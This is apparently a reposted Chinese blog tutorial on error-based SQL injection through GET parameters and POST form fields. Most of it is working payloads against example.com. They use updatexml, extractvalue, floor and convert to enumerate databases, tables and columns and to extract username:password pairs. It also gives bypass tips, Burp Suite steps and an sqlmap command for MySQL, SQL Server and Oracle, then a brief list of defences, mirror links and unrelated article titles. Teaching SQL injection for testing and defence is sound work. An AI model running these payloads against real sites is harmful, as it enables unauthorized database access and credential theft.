当前位置: 首页 > news >正文

SQL注入:基于GET和POST的报错注入详解

SQL注入:基于GET和POST的报错注入详解

  • 一, 报错注入基本原理
    • 核心原理:
  • 二、GET型报错注入
    • 1. 基本特征
    • 2. 攻击步骤
      • (1)判断注入点
      • (2)确定报错函数可用性
      • (3) 获取数据库信息
      • (4) 获取表名
      • (5) 获取列名
      • (6) 获取数据
    • 3. 绕过技巧
  • 三, POST型报错注入
    • 1. 基本特征
    • 2. 攻击步骤
      • (1) 发现注入点
      • (2) 构造报错注入
      • (3) 获取数据
    • 3. 工具辅助
  • 四、不同数据库的报错注入方法
  • 五、防御措施

一, 报错注入基本原理

报错注入(Error-Based SQL Injection)是一种利用数据库错误信息来获取数据的SQL注入技术。当应用程序直接将数据库错误信息返回给用户时,攻击者可以构造特殊的SQL语句,使数据库执行时产生错误,并在错误信息中携带查询结果。

核心原理:

  1. 利用数据库函数故意制造错误;
  2. 通过错误信息回显获取数据
  3. 常用报错函数:
    MySQL: updatexml(), extractvalue(), floor()
    SQL Server: convert(), cast()
    Oracle: ctxsys.drithsx.sn()

二、GET型报错注入

1. 基本特征

  • 注入点位于URL参数中
  • 通过修改URL参数进行注入
  • 典型示例:http://example.com/news.php?id=1

2. 攻击步骤

(1)判断注入点

http://example.com/news.php?id=1’
观察是否返回数据库错误信息

(2)确定报错函数可用性

MySQL测试:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,version()),1)–+

如果返回包含MySQL版本号的错误信息,说明报错注入可行

(3) 获取数据库信息

获取当前数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,database()),1)–+

获取所有数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)–+

(4) 获取表名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)–+

(5) 获取列名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)),1)–+

(6) 获取数据

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select concat(username,‘:’,password) from users limit 0,1)),1)–+

3. 绕过技巧

  • 使用mid(),substr()函数处理长数据
  • 使用floor(rand()*2)报错方式
  • URL编码特殊字符

三, POST型报错注入

1. 基本特征

  • 注入点位于表单提交的数据中
  • 需要通过修改post请求进行注入
  • 典型示例:登录表单,搜索框等

2. 攻击步骤

(1) 发现注入点

提交单引号测试:

username=admin’&password=123

观察是否返回数据库错误

(2) 构造报错注入

使用Burp Suite拦截请求,修改POST数据:

username=admin’ and updatexml(1,concat(0x7e,version()),1)-- &password=123

(3) 获取数据

获取表名:

username=admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- &password=123

3. 工具辅助

  • 使用Burp Suite的Repeater模块修改请求、
  • 使用sqlmap自动化测试
    sqlmap -u “http://example.com/login.php” --data=“username=admin&password=123” --technique=E --dbs

四、不同数据库的报错注入方法

  1. MySQL
and updatexml(1,concat(0x7e,(select user())),1)
and extractvalue(1,concat(0x7e,(select user())))
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2 .SQL Server

and 1=convert(int,@@version)
and 1=cast((select @@version) as int)

3 .Oracle

and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))

五、防御措施

  1. 使用参数化查询(Prepared Statements)

  2. 对输入进行严格的过滤和转义

  3. 关闭错误信息回显

  4. 使用WAF防护

  5. 最小权限原则,限制数据库用户权限


文章转载自:

http://4aLz4GAn.fhffs.cn
http://bziTUHO6.fhffs.cn
http://ilXwP3Bn.fhffs.cn
http://czu1wVAw.fhffs.cn
http://Bzbm7Roh.fhffs.cn
http://shS4XvwM.fhffs.cn
http://Ah00doJL.fhffs.cn
http://8gN468zQ.fhffs.cn
http://uZZ0gaND.fhffs.cn
http://MtCK3QXC.fhffs.cn
http://VWHMJhUi.fhffs.cn
http://n8J7mryd.fhffs.cn
http://nNyUyY2o.fhffs.cn
http://Aqmpmg4o.fhffs.cn
http://u4LB0NTP.fhffs.cn
http://kF56Vu9H.fhffs.cn
http://ie9zXvNx.fhffs.cn
http://4tLTc9A9.fhffs.cn
http://PhjVF2Ez.fhffs.cn
http://VRPd46ij.fhffs.cn
http://Ui2aMcYC.fhffs.cn
http://3MUJ3jFS.fhffs.cn
http://xXom9tU3.fhffs.cn
http://K0azMLTu.fhffs.cn
http://jFhCXMEJ.fhffs.cn
http://0Y5HT7Jl.fhffs.cn
http://J48aqIF7.fhffs.cn
http://wqVMW6kl.fhffs.cn
http://Iph0iWEs.fhffs.cn
http://3MmlwFOM.fhffs.cn
http://www.dtcms.com/a/102827.html

相关文章:

  • 【含文档+PPT+源码】基于微信小程序的在线考试与选课教学辅助系统
  • RAG 优化 Embedding 模型或调整检索策略
  • VBA代码解决方案第二十三讲 EXCEL中,如何删除工作表中的空白行
  • XSLT Apply:深入解析XSLT在XML转换中的应用
  • Qt之QTextEdit控制文本滚动, 停止滚动, 开始滚动, 鼠标控制滚动
  • 单调队列-滑动窗口算法一篇学会-AcWing 154. 滑动窗口
  • js中的document.querySelect()
  • 哈希表 - 两数之和(Map) - JS
  • OpenBMC:BmcWeb 处理http请求2 查找路由对象
  • 0102-web架构网站搭建-基础入门-网络安全
  • 我的世界1.20.1进阶模组开发教程——升级模板与文字格式
  • Nginx 配置 HTTPS 与 WSS 完整指南
  • 亚马逊新卖家破局指南:从0到1搭建可持续出单模型
  • Linux内核编程
  • 关于CodeJava的学习笔记——11
  • 贪心算法(13)(java)合并区间
  • vscode 使用vue3
  • Linux内核设计——(一)进程管理
  • 2025年汽车加气站操作工备考题库
  • 基于超分辨率与YOLO的多尺度红外小目标检测方法YOLO-MST论文解读
  • OpenCV 图形API(3)高层次设计概览
  • 变量(Variable)
  • 详解VAE损失函数
  • 从零开始学Rust:所有权(Ownership)机制精要
  • Android版本更新服务通知下载实现
  • C++编程指南31 - 除非绝对必要,否则不要使用无锁编程
  • BERT与Transformer到底选哪个-上部
  • 福建省公共数据授权运营实践案例详解(运营机制及模式、运营单位、运营平台、场景案例等)
  • hadoop 集群的常用命令
  • PyTorch量化进阶教程:第六章 模型部署与生产化